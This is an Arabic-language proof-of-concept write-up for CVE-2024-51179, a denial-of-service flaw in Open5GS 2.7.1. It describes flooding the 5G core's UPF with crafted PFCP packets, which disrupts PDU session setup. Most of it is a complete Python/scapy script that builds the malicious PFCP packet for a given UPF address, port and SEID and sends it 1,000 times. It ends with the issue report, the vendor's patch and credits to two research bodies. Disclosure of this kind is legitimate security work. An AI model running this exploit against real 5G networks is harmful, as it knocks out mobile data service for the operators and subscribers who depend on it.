
استغلال إثبات المفهوم لـ CVE-2024-51179: الفيضان بحِزَم PFCP المصمَّمة يسبِّب رفض الخدمة في Open5GS UPF/SMF، مما يعطِّل إنشاء جلسات PDU للنواة 5G.
الوصف: توجد مشكلة في Open5GS الإصدار 2.7.1 تسمح لمهاجم عن بعد بالتسبب في حرمان من الخدمة عبر وظائف الشبكة الافتراضية (NFVs) مثل وظيفة المستخدم (UPF) ووظيفة إدارة الجلسات (SMF). تتأثر عملية إنشاء جلسة وحدة بيانات الحزمة (PDU) بالأعطال التي تحدث داخل NFVs.
يمكن للمهاجم، بعد الحصول على عنوان IP لوظيفة المستخدم (UPF)، ومنفذ PFCP، ومعرف نقطة نهاية الجلسة (SEID)، صنع وإغراق حزم PFCP (بروتوكول تحكم إعادة توجيه الحزم) الخبيثة إلى UPF. يمكن اعتراض المعاملات المطلوبة باستخدام أدوات مثل Wireshark إذا كان لدى المهاجم إمكانية الوصول إلى حركة مرور المستوى المستخدم.
نوع الثغرة: حرمان من الخدمة
الأثر: عند إرسال الحزمة الخبيثة، تصبح UPF خاطئة، مما يؤثر على إنشاء جلسات PDU جديدة. بالإضافة إلى ذلك، تتأثر SMF (وظيفة إدارة الجلسات) بسبب فيضان حزم PFCP الخبيثة، مما يعطل الوظائف الأساسية
الشروط المسبقة: تم إعداد شبكة 5G الأساسية باستخدام Open5GS كشبكة أساسية وUERANSIM كأداة محاكاة لكل من gNB (محطة قاعدة الجيل التالي) وUE (معدات المستخدم).
خطوات تنفيذ الهجوم
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"
UPF_PORT = 8805
message_type = 53
sequence_number = 1
seid = 0x0010000000000000
version = 1
spare = 0
mp = 0
s_flag = 1
byte0 = (version << 5) | (s_flag << 2)
length = 0
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):
send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")


تم توثيق الثغرة، التي تحمل الرقم Issue #3497 في صفحة Open5GS على GitHub (https://github.com/open5gs/open5gs/issues/3497)، وتم الإبلاغ عنها للبائع Open5GS، الذي حدد السبب الجذري كمشكلة في تحرير الذاكرة تؤدي إلى أعطال النظام. تم تطبيق تصحيح منذ ذلك الحين، وتم تحديث الكود لحل المشكلة. يمكنك مراجعة الكود المحدث هنا.
تم نشر CVE-2024-51179.
جامعة كيرالا الرقمية (DIGITAL UNIVERSITY KERALA)، مركز تطوير الاتصالات (CENTRE FOR DEVELOPMENT OF TELEMATICS (C-DOT))